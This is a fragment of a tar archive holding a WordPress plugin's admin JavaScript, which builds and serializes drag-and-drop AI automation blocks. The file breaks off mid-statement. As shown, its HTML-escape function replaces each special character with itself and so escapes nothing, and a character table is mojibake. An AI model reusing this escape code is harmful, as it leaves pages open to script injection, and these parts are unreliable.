}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/automation.js�������������������������������������������������������������������������������0000644�����������������00000371746�14757771437�0011021 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; document.addEventListener('DOMContentLoaded', function () { const checkboxes = document.querySelectorAll('.disabled-blocks'); checkboxes.forEach(checkbox => { checkbox.addEventListener('change', function () { const omniblockCard = this.closest('.omniblock-card'); if (this.checked) { omniblockCard.classList.add('disabled'); } else { omniblockCard.classList.remove('disabled'); } }); const omniblockCard = checkbox.closest('.omniblock-card'); if (checkbox.checked) { omniblockCard.classList.add('disabled'); } else { omniblockCard.classList.remove('disabled'); } }); }); function aiomatic_upload_selector_changing() { var x; x = document.getElementById("aiomatic-file-upload-location").value; if (x == "remote") { jQuery('.locationRemoteHide').hide(); jQuery('.locationRemoteShow').show(); } else { jQuery('.locationRemoteHide').show(); jQuery('.locationRemoteShow').hide(); } } function aiomatic_upload_field_empty() { var x; var y; y = document.getElementById("aiomatic-file-upload-location").value; if (y == "remote") { x = document.getElementById("aiomatic-file-remote-rules").value; if (x == "") { alert("You must enter a valid remote file URL before you can submit this."); return false; } else { unsaved = false; } } else { x = document.getElementById("aiomatic-file-upload-rules").value; if (x == "") { alert("You must select a valid file before you can submit this."); return false; } else { unsaved = false; } } } function aiomaticLoading2(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } function autoCreateAdmin(i) { var modals = []; var btns = []; var spans = []; var oks = []; var btns = []; modals = document.getElementById("mymodalauto" + i); btns = document.getElementById("mybtnauto" + i); spans = document.getElementById("aiomatic_auto_close" + i); oks = document.getElementById("aiomatic_auto_ok" + i); btns.onclick = function(e) { modals.style.display = "block"; } spans.onclick = function(e) { modals.style.display = "none"; } oks.onclick = function(e) { modals.style.display = "none"; } modals.addEventListener("click", function(e) { if (e.target !== this) return; modals.style.display = "none"; }, false); var mainCardOrder = jQuery('#aiomatic_sortable_cards' + i); if(mainCardOrder !== undefined) { if (typeof jQuery.fn.sortable !== 'undefined') { mainCardOrder.sortable({ update: function(event, ui) { unsaved = true; var cardOrder = jQuery('#aiomatic_sortable_cards' + i); if(cardOrder !== undefined) { updateSortableInputAI(i, ''); updateCardSteps(i); } else { console.log('Cannot find the aiomatic_sortable_cards' + i + ' input!'); } }, stop: function(event, ui) { var cardOrder = jQuery('#aiomatic_sortable_cards' + i); if(cardOrder !== undefined) { updateSortableInputAI(i, ''); updateCardSteps(i); } else { console.log('Cannot find the aiomatic_sortable_cards' + i + ' input!'); } }, receive: function(event, ui) { unsaved = true; jQuery('#aiomatic_sortable_cards' + i + ' .delete-btn').prop('disabled', false); jQuery('#aiomatic_sortable_cards' + i + ' .move-up-btn').prop('disabled', false); jQuery('#aiomatic_sortable_cards' + i + ' .move-down-btn').prop('disabled', false); }, scroll: true, scrollSensitivity: 100, scrollSpeed: 10, cancel: ':input,option,.disable_drag,.aishortcodes,.aiomatic-run-now' }); } jQuery(document).on('change input', '#aiomatic_sortable_cards' + i + ' input, #aiomatic_sortable_cards' + i + ' textarea, #aiomatic_sortable_cards' + i + ' select', function() { updateSortableInputAI(i, ''); }); jQuery(document).on('click','#aiomatic_sortable_cards' + i + ' button', function (e) { setTimeout(function() { updateSortableInputAI(i, ''); updateCardSteps(i); }, 100); }); if (typeof jQuery.fn.draggable !== 'undefined') { jQuery('#aiomatic_new_card_types' + i + ' .new-card').draggable({ helper: function() { unsaved = true; var cloned = jQuery(this).clone(true); jQuery('.omniblock-card').removeClass('selected'); cloned.removeAttr('id'); var clonedHtml = cloned.prop('outerHTML'); var idMap = {}; var midHtml = clonedHtml.replace(/id="xai[0-9a-f]+"/g, function(match) { return replaceId(match, idMap); }); var newHtml = midHtml.replace(/data-id-str="xai[0-9a-f]+"/g, function(match) { return replaceDataId(match, idMap); }); cloned = jQuery(newHtml); jQuery(this).find('input, textarea, select').each(function(index) { var index = jQuery(this).attr('data-clone-index'); if(index != null && index != '' && index != undefined) { var clonedElement = cloned.find('[data-clone-index="' + index + '"]'); if (jQuery(this).is(':checkbox') || jQuery(this).is(':radio')) { clonedElement.prop('checked', jQuery(this).is(':checked')); } else { clonedElement.val(jQuery(this).val()); } } }); return cloned.appendTo('#aiomatic_sortable_cards' + i).show(); }, connectToSortable: '#aiomatic_sortable_cards' + i, revert: 'invalid', appendTo: '#aiomatic_sortable_cards' + i, scroll: true, cancel: ':input,option,.disable_drag,.aishortcodes,.aiomatic-run-now' }); } jQuery(document).on('click','#add-new-btn' + i, function (e) { e.preventDefault(); unsaved = true; var cloned = jQuery('#aiomatic_new_card_types' + i + ' li:visible').clone(true); cloned.removeAttr('id'); var clonedHtml = cloned.prop('outerHTML'); var idMap = {}; var midHtml = clonedHtml.replace(/id="xai[0-9a-f]+"/g, function(match) { return replaceId(match, idMap); }); var newHtml = midHtml.replace(/data-id-str="xai[0-9a-f]+"/g, function(match) { return replaceDataId(match, idMap); }); cloned = jQuery(newHtml); if (cloned.hasClass('selected')) { cloned.removeClass('selected'); } jQuery('#aiomatic_new_card_types' + i + ' li:visible').find('input, textarea, select').each(function(index) { var index = jQuery(this).attr('data-clone-index'); if(index != null && index != '' && index != undefined) { var clonedElement = cloned.find('[data-clone-index="' + index + '"]'); if (jQuery(this).is(':checkbox') || jQuery(this).is(':radio')) { clonedElement.prop('checked', jQuery(this).is(':checked')); } else { clonedElement.val(jQuery(this).val()); } } }); var retme = cloned.appendTo('#aiomatic_sortable_cards' + i).show(); updateSortableInputAI(i, ''); updateCardSteps(i); jQuery('#aiomatic_sortable_cards' + i + ' .delete-btn').prop('disabled', false); jQuery('#aiomatic_sortable_cards' + i + ' .move-up-btn').prop('disabled', false); jQuery('#aiomatic_sortable_cards' + i + ' .move-down-btn').prop('disabled', false); return retme; }); } else { console.log('Error, aiomatic_sortable_cards' + i + ' input not found!'); } } function aiomaticParseShortcode(shortcodeString) { let parsedShortcodes = {}; if(shortcodeString == '') { return parsedShortcodes; } let lines = shortcodeString.split('\n'); lines.forEach(line => { let parts = line.split('=>'); if (parts.length === 2) { let name = parts[0].trim(); let values = parts[1].split(',').map(value => value.trim()); parsedShortcodes[name] = values; } }); return parsedShortcodes; } function aiomaticEscapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } function updateSortableInputAI(i, suff) { var data = []; var all_shortcodes = []; jQuery('#aiomatic_sortable_cards' + suff + i + ' > li').each(function(index) { var li = jQuery(this); var cardType = li.find('[card-type]').attr('card-type'); var title = li.find('input[class*="omniblock-title"]').val(); var indentificator = li.find('input[class*="omniblock-id"]').val(); var shortcodes_holder = li.find('div[class*="shortcode-list"]'); if(shortcodes_holder !== undefined) { if(shortcodes_holder.length > 0) { var count = 1; shortcodes_holder.each(function(index, one_holder_dom) { var one_holder = jQuery(one_holder_dom); var cardID = one_holder.attr('data-id-str'); var more_short_string = ''; var more_shortcodes = jQuery('#more_keywords' + i).val(); more_shortcodes = aiomaticParseShortcode(more_shortcodes); var more_shorts = ''; if (cardType === 'ai_text_foreach' && count == 2) { more_shorts += '<p class="aishortcodes" data-suff="' + suff + '" data-id-str="' + cardID + '" data-index="' + i + '" title="The additional shortcodes added by you from the settings.">%%current_input_line_counter%%</p>'; more_shorts += '<p class="aishortcodes" data-suff="' + suff + '" data-id-str="' + cardID + '" data-index="' + i + '" title="The additional shortcodes added by you from the settings.">%%current_input_line%%</p>'; more_shorts += '<p class="aishortcodes" data-suff="' + suff + '" data-id-str="' + cardID + '" data-index="' + i + '" title="The additional shortcodes added by you from the settings.">%%all_input_lines%%</p>'; } for (let element in more_shortcodes) { if(element != '') { more_short_string += '<p class="aishortcodes" data-suff="' + suff + '" data-id-str="' + cardID + '" data-index="' + i + '" title="The additional shortcodes added by you from the settings.">%%' + aiomaticEscapeHtml(element) + '%%</p>'; } } var shortcodes_str = '<p class="aishortcodes" data-suff="' + suff + '" data-id-str="' + cardID + '" data-index="' + i + '" title="The main keyword shortcode.">%%keyword%%</p>' + more_shorts + more_short_string; if(cardID !== null) { all_shortcodes.forEach((element) => {if(element !== ''){var myIdArray = element.split('_');var myId = myIdArray[myIdArray.length - 1];myId = myId.substring(0, myId.length - 2);shortcodes_str += '<p class="aishortcodes" data-suff="' + suff + '" data-index="' + i + '" data-id-str="' + cardID + '" title="Shortcode created by OmniBlocks ID: ' + myId + '">' + element + '</p>'}}); one_holder.html(shortcodes_str); } count++; }); } } var shortcodes = li.find('input[class*="omniblock-shortcodes"]').val(); if(shortcodes !== undefined) { shortcodes = shortcodes.split(','); shortcodes = jQuery.grep(shortcodes, n => n == 0 || n); all_shortcodes = all_shortcodes.concat(shortcodes); all_shortcodes = [...new Set(all_shortcodes)]; } var criticalBlock = '0'; if(li.find('input[class="critical-blocks"]').is(':checked')) { criticalBlock = '1'; } var disabledBlock = '0'; if(li.find('input[class="disabled-blocks"]').is(':checked')) { disabledBlock = '1'; } var parameters = {}; if (cardType === 'ai_text') { var prompt = li.find('.prompt').val(); var model = li.find('.model').val(); var assistant_id = li.find('.assistant_id').val(); parameters = { 'prompt': prompt, 'model': model, 'assistant_id': assistant_id, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'ai_text_foreach') { var multiline_input = li.find('.multiline_input').val(); var prepend = li.find('.prepend').val(); var append = li.find('.append').val(); var prompt = li.find('.prompt').val(); var model = li.find('.model').val(); var assistant_id = li.find('.assistant_id').val(); var max_runs = li.find('.max_runs').val(); parameters = { 'multiline_input': multiline_input, 'prompt': prompt, 'model': model, 'prepend': prepend, 'append': append, 'max_runs': max_runs, 'assistant_id': assistant_id, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'dalle_ai_image' || cardType === 'stable_ai_image') { var prompt = li.find('.prompt').val(); var model = li.find('.model').val(); var image_size = li.find('.image_size').val(); parameters = { 'prompt': prompt, 'model': model, 'image_size': image_size, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'midjourney_ai_image') { var prompt = li.find('.prompt').val(); var image_size = li.find('.image_size').val(); parameters = { 'prompt': prompt, 'image_size': image_size, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'stable_ai_video') { var image_url = li.find('.image_url').val(); var image_size = li.find('.image_size').val(); parameters = { 'image_url': image_url, 'image_size': image_size, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'nlp_entities') { var input_text = li.find('.input_text').val(); parameters = { 'input_text': input_text, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'tts_openai') { var input_text = li.find('.input_text').val(); var model = li.find('.model').val(); var voice = li.find('.voice').val(); var output = li.find('.output').val(); var stability = li.find('.stability').val(); parameters = { 'input_text': input_text, 'model': model, 'voice': voice, 'output': output, 'stability': stability, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'nlp_entities_neuron') { var input_text = li.find('.input_text').val(); var engine = li.find('.engine').val(); var language = li.find('.language').val(); parameters = { 'input_text': input_text, 'engine': engine, 'language': language, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'webhook_fire') { var api_key = li.find('.api_key').val(); parameters = { 'api_key': api_key, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'crawl_sites') { var url = li.find('.url').val(); var scrape_method = li.find('.scrape_method').val(); var scrape_selector = li.find('.scrape_selector').val(); var scrape_string = li.find('.scrape_string').val(); var strip_tags = li.find('.strip_tags').val(); var max_chars = li.find('.max_chars').val(); parameters = { 'url': url, 'scrape_method': scrape_method, 'scrape_selector': scrape_selector, 'scrape_string': scrape_string, 'strip_tags': strip_tags, 'max_chars': max_chars, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'crawl_rss') { var url = li.find('.url').val(); var template = li.find('.template').val(); var max_items = li.find('.max_items').val(); var scrape = li.find('.scrape').val(); var scrape_method = li.find('.scrape_method').val(); var max_chars = li.find('.max_chars').val(); var prompt = li.find('.prompt').val(); var model = li.find('.model').val(); var assistant_id = li.find('.assistant_id').val(); parameters = { 'url': url, 'template': template, 'max_items': max_items, 'scrape': scrape, 'scrape_method': scrape_method, 'max_chars': max_chars, 'prompt': prompt, 'model': model, 'assistant_id': assistant_id, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'google_search') { var keyword = li.find('.keyword').val(); var locale = li.find('.locale').val(); var template = li.find('.template').val(); var max_items = li.find('.max_items').val(); var scrape = li.find('.scrape').val(); var scrape_method = li.find('.scrape_method').val(); var max_chars = li.find('.max_chars').val(); var prompt = li.find('.prompt').val(); var model = li.find('.model').val(); var assistant_id = li.find('.assistant_id').val(); parameters = { 'keyword': keyword, 'template': template, 'locale': locale, 'max_items': max_items, 'scrape': scrape, 'scrape_method': scrape_method, 'max_chars': max_chars, 'prompt': prompt, 'model': model, 'assistant_id': assistant_id, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'post_import') { var input_text = li.find('.input_text').val(); parameters = { 'input_text': input_text, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'random_line') { var input_text = li.find('.input_text').val(); parameters = { 'input_text': input_text, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'youtube_video') { var input_text = li.find('.input_text').val(); parameters = { 'input_text': input_text, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'royalty_image') { var input_text = li.find('.input_text').val(); parameters = { 'input_text': input_text, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'youtube_caption') { var url = li.find('.url').val(); var max_caption = li.find('.max_caption').val(); parameters = { 'url': url, 'max_caption': max_caption, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'amazon_product') { var asin = li.find('.asin').val(); var aff_id = li.find('.aff_id').val(); var target_country = li.find('.target_country').val(); parameters = { 'asin': asin, 'aff_id': aff_id, 'target_country': target_country, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'amazon_listing') { var asin = li.find('.asin').val(); var aff_id = li.find('.aff_id').val(); var target_country = li.find('.target_country').val(); var sort_results = li.find('.sort_results').val(); var max_product_count = li.find('.max_product_count').val(); var listing_template = li.find('.listing_template').val(); parameters = { 'asin': asin, 'aff_id': aff_id, 'target_country': target_country, 'sort_results': sort_results, 'max_product_count': max_product_count, 'listing_template': listing_template, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'text_translate') { var input_text = li.find('.input_text').val(); var translate = li.find('.translate').val(); var translate_source = li.find('.translate_source').val(); var second_translate = li.find('.second_translate').val(); parameters = { 'input_text': input_text, 'translate': translate, 'translate_source': translate_source, 'second_translate': second_translate, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'text_spinner') { var input_text = li.find('.input_text').val(); parameters = { 'input_text': input_text, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'embeddings') { var input_text = li.find('.input_text').val(); parameters = { 'input_text': input_text, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'load_file') { var input_text = li.find('.input_text').val(); parameters = { 'input_text': input_text, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_email') { var email_title = li.find('.email_title').val(); var email_content = li.find('.email_content').val(); var email_recipient = li.find('.email_recipient').val(); parameters = { 'email_title': email_title, 'email_content': email_content, 'email_recipient': email_recipient, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'save_file') { var post_template = li.find('.post_template').val(); var send_type = li.find('.send_type').val(); var file_type = li.find('.file_type').val(); parameters = { 'post_template': post_template, 'send_type': send_type, 'file_type': file_type, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_facebook') { var post_template = li.find('.post_template').val(); var post_link = li.find('.post_link').val(); var page_to_post = li.find('.page_to_post').val(); parameters = { 'post_template': post_template, 'post_link': post_link, 'page_to_post': page_to_post, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_image_facebook') { var post_template = li.find('.post_template').val(); var image_link = li.find('.image_link').val(); var page_to_post = li.find('.page_to_post').val(); parameters = { 'post_template': post_template, 'image_link': image_link, 'page_to_post': page_to_post, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_image_instagram') { var post_template = li.find('.post_template').val(); var image_link = li.find('.image_link').val(); parameters = { 'post_template': post_template, 'image_link': image_link, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_image_pinterest') { var post_template = li.find('.post_template').val(); var post_title = li.find('.post_title').val(); var pin_me = li.find('.pin_me').val(); var image_link = li.find('.image_link').val(); var page_to_post = li.find('.page_to_post').val(); parameters = { 'post_template': post_template, 'post_title': post_title, 'pin_me': pin_me, 'image_link': image_link, 'page_to_post': page_to_post, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_twitter') { var post_template = li.find('.post_template').val(); var featured_image = li.find('.featured_image').val(); parameters = { 'post_template': post_template, 'featured_image': featured_image, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_gmb') { var post_template = li.find('.post_template').val(); var featured_image = li.find('.featured_image').val(); var page_to_post = li.find('.page_to_post').val(); parameters = { 'post_template': post_template, 'featured_image': featured_image, 'page_to_post': page_to_post, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_community_youtube') { var post_template = li.find('.post_template').val(); var featured_image = li.find('.featured_image').val(); var send_type = li.find('.send_type').val(); parameters = { 'post_template': post_template, 'featured_image': featured_image, 'send_type': send_type, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_reddit') { var subreddit_to_post = li.find('.subreddit_to_post').val(); var title_template = li.find('.title_template').val(); var post_template = li.find('.post_template').val(); var send_type = li.find('.send_type').val(); parameters = { 'post_template': post_template, 'title_template': title_template, 'subreddit_to_post': subreddit_to_post, 'send_type': send_type, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_webhook') { var webhook_url = li.find('.webhook_url').val(); var webhook_method = li.find('.webhook_method').val(); var content_type = li.find('.content_type').val(); var post_template = li.find('.post_template').val(); var headers_template = li.find('.headers_template').val(); parameters = { 'content_type': content_type, 'webhook_method': webhook_method, 'webhook_url': webhook_url, 'post_template': post_template, 'headers_template': headers_template, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'god_mode') { var prompt = li.find('.prompt').val(); var assistant_id = li.find('.assistant_id').val(); var model = li.find('.model').val(); parameters = { 'prompt': prompt, 'assistant_id': assistant_id, 'model': model, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'send_linkedin') { var post_template = li.find('.post_template').val(); var featured_image = li.find('.featured_image').val(); var page_to_post = li.find('.page_to_post').val(); var post_title = li.find('.post_title').val(); var post_link = li.find('.post_link').val(); var attach_lnk = li.find('.attach_lnk').val(); var post_description = li.find('.post_description').val(); parameters = { 'post_template': post_template, 'featured_image': featured_image, 'page_to_post': page_to_post, 'post_title': post_title, 'post_link': post_link, 'attach_lnk': attach_lnk, 'post_description': post_description, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'save_post') { var postTitle = li.find('.post_title').val(); var postContent = li.find('.post_content').val(); var post_excerpt = li.find('.post_excerpt').val(); var post_author = li.find('.post_author').val(); var post_status = li.find('.post_status').val(); var post_type = li.find('.post_type').val(); var post_format = li.find('.post_format').val(); var post_parent = li.find('.post_parent').val(); var post_comments = li.find('.post_comments').val(); var post_pingbacks = li.find('.post_pingbacks').val(); var post_date = li.find('.post_date').val(); var post_custom_fields = li.find('.post_custom_fields').val(); var post_slug = li.find('.post_slug').val(); var post_custom_taxonomies = li.find('.post_custom_taxonomies').val(); var post_lang = li.find('.post_lang').val(); var post_categories = li.find('.post_categories').val(); var post_tags = li.find('.post_tags').val(); var post_id = li.find('.post_id').val(); var content_regex = li.find('.content_regex').val(); var replace_regex = li.find('.replace_regex').val(); var overwrite_existing = li.find('.overwrite_existing').val(); var featuredImage = li.find('.featured_image').val(); parameters = { 'post_title': postTitle, 'post_content': postContent, 'post_excerpt': post_excerpt, 'post_author': post_author, 'post_status': post_status, 'post_type': post_type, 'post_format': post_format, 'post_parent': post_parent, 'post_comments': post_comments, 'post_pingbacks': post_pingbacks, 'post_date': post_date, 'post_custom_fields': post_custom_fields, 'post_slug': post_slug, 'post_custom_taxonomies': post_custom_taxonomies, 'post_lang': post_lang, 'post_categories': post_categories, 'post_tags': post_tags, 'content_regex': content_regex, 'replace_regex': replace_regex, 'overwrite_existing': overwrite_existing, 'featured_image': featuredImage, 'post_id': post_id, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'if_block') { var condition = li.find('.condition').val(); var evaluation_method = li.find('.evaluation_method').val(); var expected_value = li.find('.expected_value').val(); var true_blocks = li.find('.true_blocks').val(); var false_blocks = li.find('.false_blocks').val(); parameters = { 'condition': condition, 'evaluation_method': evaluation_method, 'expected_value': expected_value, 'true_blocks': true_blocks, 'false_blocks': false_blocks, 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'exit_block') { parameters = { 'critical': criticalBlock, 'disabled': disabledBlock }; } else if (cardType === 'jump_block') { var jumpto = li.find('.jumpto').val(); parameters = { 'jumpto': jumpto, 'critical': criticalBlock, 'disabled': disabledBlock }; } else { if(cardType !== undefined) { console.log('Unknown card type found: ' + cardType); } return; } var item = { 'identifier': indentificator, 'name': title, 'type': cardType, 'parameters': parameters }; var existingIndex = data.findIndex(d => d.identifier === indentificator); if (existingIndex === -1) { data.push(item); } else { while(data.findIndex(d => d.identifier === indentificator) !== -1) { indentificator = aiomatic_increment(indentificator); } item = { 'identifier': indentificator, 'name': title, 'type': cardType, 'parameters': parameters }; data.push(item); } var id_show = li.find('.id-shower'); if(id_show !== undefined) { if(id_show.text() == '') { id_show.text('ID: ' + indentificator); var bl_id = li.find('.omniblock-id'); if(bl_id !== undefined) { bl_id.val(indentificator); var bl_code = li.find('.omniblock-shortcodes'); if(bl_code !== undefined) { var bltype = bl_code.attr("card-type"); if(bltype !== null) { if(bltype == 'ai_text') { bl_code.val('%%ai_text_' + indentificator + '%%'); } else if(bltype == 'ai_text_foreach') { bl_code.val('%%ai_text_foreach_' + indentificator + '%%'); } else if(bltype == 'dalle_ai_image') { bl_code.val('%%dalle_image_' + indentificator + '%%'); } else if(bltype == 'royalty_image') { bl_code.val('%%free_image_' + indentificator + '%%'); } else if(bltype == 'stable_ai_image') { bl_code.val('%%stability_image_' + indentificator + '%%'); } else if(bltype == 'midjourney_ai_image') { bl_code.val('%%midjourney_image_' + indentificator + '%%'); } else if(bltype == 'stable_ai_video') { bl_code.val('%%stability_video_' + indentificator + '%%'); } else if(bltype == 'nlp_entities') { bl_code.val('%%entities_' + indentificator + '%%,%%entities_details_json_' + indentificator + '%%'); } else if(bltype == 'tts_openai') { bl_code.val('%%audio_url_' + indentificator + '%%'); } else if(bltype == 'nlp_entities_neuron') { bl_code.val('%%entities_title_' + indentificator + '%%,%%entities_description_' + indentificator + '%%,%%entities_h1_' + indentificator + '%%,%%entities_h2_' + indentificator + '%%,%%entities_content_basic_' + indentificator + '%%,%%entities_content_basic_with_ranges_' + indentificator + '%%,%%entities_content_extended_' + indentificator + '%%,%%entities_content_extended_with_ranges_' + indentificator + '%%,%%entities_list_' + indentificator + '%%'); } else if(bltype == 'webhook_fire') { bl_code.val('%%webhook_data_' + indentificator + '%%'); } else if(bltype == 'crawl_sites') { bl_code.val('%%scraped_content_' + indentificator + '%%,%%scraped_content_plain_' + indentificator + '%%'); } else if(bltype == 'crawl_rss') { bl_code.val('%%rss_content_' + indentificator + '%%'); } else if(bltype == 'google_search') { bl_code.val('%%search_result_' + indentificator + '%%'); } else if(bltype == 'youtube_video') { bl_code.val('%%video_url_' + indentificator + '%%,%%video_embed_' + indentificator + '%%'); } else if(bltype == 'post_import') { bl_code.val('%%post_id_' + indentificator + '%%,%%post_url_' + indentificator + '%%,%%post_title_' + indentificator + '%%,%%post_content_' + indentificator + '%%,%%post_excerpt_' + indentificator + '%%,%%post_categories_' + indentificator + '%%,%%post_tags_' + indentificator + '%%,%%post_author_' + indentificator + '%%,%%post_date_' + indentificator + '%%,%%post_status_' + indentificator + '%%,%%post_type_' + indentificator + '%%,%%post_image_' + indentificator + '%%'); } else if(bltype == 'random_line') { bl_code.val('%%random_line_' + indentificator + '%%'); } else if(bltype == 'youtube_caption') { bl_code.val('%%video_caption_' + indentificator + '%%,%%video_title_' + indentificator + '%%,%%video_description_' + indentificator + '%%,%%video_thumb_' + indentificator + '%%'); } else if(bltype == 'amazon_product') { bl_code.val('%%product_title_' + indentificator + '%%,%%product_description_' + indentificator + '%%,%%product_url_' + indentificator + '%%,%%product_price_' + indentificator + '%%,%%product_list_price_' + indentificator + '%%,%%product_image_' + indentificator + '%%,%%product_cart_url_' + indentificator + '%%,%%product_images_urls_' + indentificator + '%%,%%product_images_' + indentificator + '%%,%%product_reviews_' + indentificator + '%%,%%product_score_' + indentificator + '%%,%%product_language_' + indentificator + '%%,%%product_edition_' + indentificator + '%%,%%product_pages_count_' + indentificator + '%%,%%product_publication_date_' + indentificator + '%%,%%product_contributors_' + indentificator + '%%,%%product_manufacturer_' + indentificator + '%%,%%product_binding_' + indentificator + '%%,%%product_product_group_' + indentificator + '%%,%%product_rating_' + indentificator + '%%,%%product_eans_' + indentificator + '%%,%%product_part_no_' + indentificator + '%%,%%product_model_' + indentificator + '%%,%%product_warranty_' + indentificator + '%%,%%product_color_' + indentificator + '%%,%%product_is_adult_' + indentificator + '%%,%%product_dimensions_' + indentificator + '%%,%%product_date_' + indentificator + '%%,%%product_size_' + indentificator + '%%,%%product_unit_count_' + indentificator + '%%'); } else if(bltype == 'amazon_listing') { bl_code.val('%%product_listing_' + indentificator + '%%'); } else if(bltype == 'text_translate') { bl_code.val('%%translated_' + indentificator + '%%'); } else if(bltype == 'embeddings') { bl_code.val('%%embeddings_' + indentificator + '%%'); } else if(bltype == 'text_spinner') { bl_code.val('%%spun_' + indentificator + '%%'); } else if(bltype == 'save_post') { bl_code.val('%%created_post_id_' + indentificator + '%%,%%created_post_url_' + indentificator + '%%'); } else if(bltype == 'load_file') { bl_code.val('%%file_' + indentificator + '%%'); } else if(bltype == 'send_email') { bl_code.val(''); } else if(bltype == 'save_file') { bl_code.val(''); } else if(bltype == 'send_facebook') { bl_code.val(''); } else if(bltype == 'send_image_facebook') { bl_code.val(''); } else if(bltype == 'send_image_instagram') { bl_code.val(''); } else if(bltype == 'send_image_pinterest') { bl_code.val(''); } else if(bltype == 'send_twitter') { bl_code.val(''); } else if(bltype == 'send_gmb') { bl_code.val(''); } else if(bltype == 'send_community_youtube') { bl_code.val(''); } else if(bltype == 'send_linkedin') { bl_code.val(''); } else if(bltype == 'send_reddit') { bl_code.val(''); } else if(bltype == 'send_webhook') { bl_code.val(''); } else if(bltype == 'god_mode') { bl_code.val('%%god_mode_' + indentificator + '%%'); } else if(bltype == 'if_block') { bl_code.val(''); } else if(bltype == 'exit_block') { bl_code.val(''); } else if(bltype == 'jump_block') { bl_code.val(''); } else { bl_code.val(''); } } } } } } }); jQuery('#sortable_cards' + suff + i).val(JSON.stringify(data)); } function assistantChanged(assistantID) { if(jQuery('#sel_' + assistantID).val() == '' || jQuery('#sel_' + assistantID).val() == null) { jQuery('#' + assistantID).removeAttr('disabled'); } else { jQuery('#' + assistantID).attr('disabled', 'disabled'); } } function actionsChangedOmni(ruleId, typeId, uniquid, shtc, runTable) { if(unsaved){ alert("You have unsaved changes on this page. Please save your changes before manually running rules!"); return; } runNowOmni(ruleId, typeId, uniquid, shtc, runTable); } function aiomatic_string_to_slug(str) { str = str.replace(/^\s+|\s+$/g, ''); // trim str = str.toLowerCase(); var from = "àáäâèéëêìíïîòóöôùúüûñçěšÄřžýúůÄťň·/_,:;"; var to = "aaaaeeeeiiiioooouuuuncescrzyuudtn------"; for (var i=0, l=from.length ; i<l ; i++) { str = str.replace(new RegExp(from.charAt(i), 'g'), to.charAt(i)); } str = str.replace('.', '-') // replace a dot by a dash .replace(/[^a-z0-9 -]/g, '') // remove invalid chars .replace(/\s+/g, '-') // collapse whitespace and replace by a dash .replace(/-+/g, '-') // collapse dashes .replace( /\//g, '' ); // collapse all forward-slashes return str; } function runNowOmni(number, typeId, uniquid, shtc, runTable) { document.getElementById("run_img_omni" + number).style.visibility = "visible"; document.getElementById("run_img_omni" + number).src = mycustomsettings.plugin_dir_url + "images/running.gif"; var data = { action: 'aiomatic_run_omniblock', id: number, type: typeId, uniquid: uniquid, nonce: aiomatic_ajax_object.nonce }; var pollingInterval; function startPolling() { pollingInterval = setInterval(function() { jQuery.get(mycustomsettings.ajaxurl, { action: 'aiomatic_check_process_status', nonce: aiomatic_ajax_object.bulk_nonce }, function(response) { if (response.status === 'success') { var datetime = myAIGetDateTime(); jQuery('#running_status_ai').html('<hr/><b>Activity Log:</b><br/><br/>' + datetime + ':<br/> ' + response.msg); } else { console.log('Failed to poll results: ' + response); clearInterval(pollingInterval); } }).fail(function(xhr) { clearInterval(pollingInterval); console.log('Exception in results polling: ' + JSON.stringify(xhr)); }); }, 3000); } jQuery.post(mycustomsettings.ajaxurl, data, function(response) { if(response.trim() == 'nochange') { document.getElementById("run_img_omni" + number).src= mycustomsettings.plugin_dir_url + "images/nochange.gif"; runTable.html('No results returned'); } else { if(response.trim() == 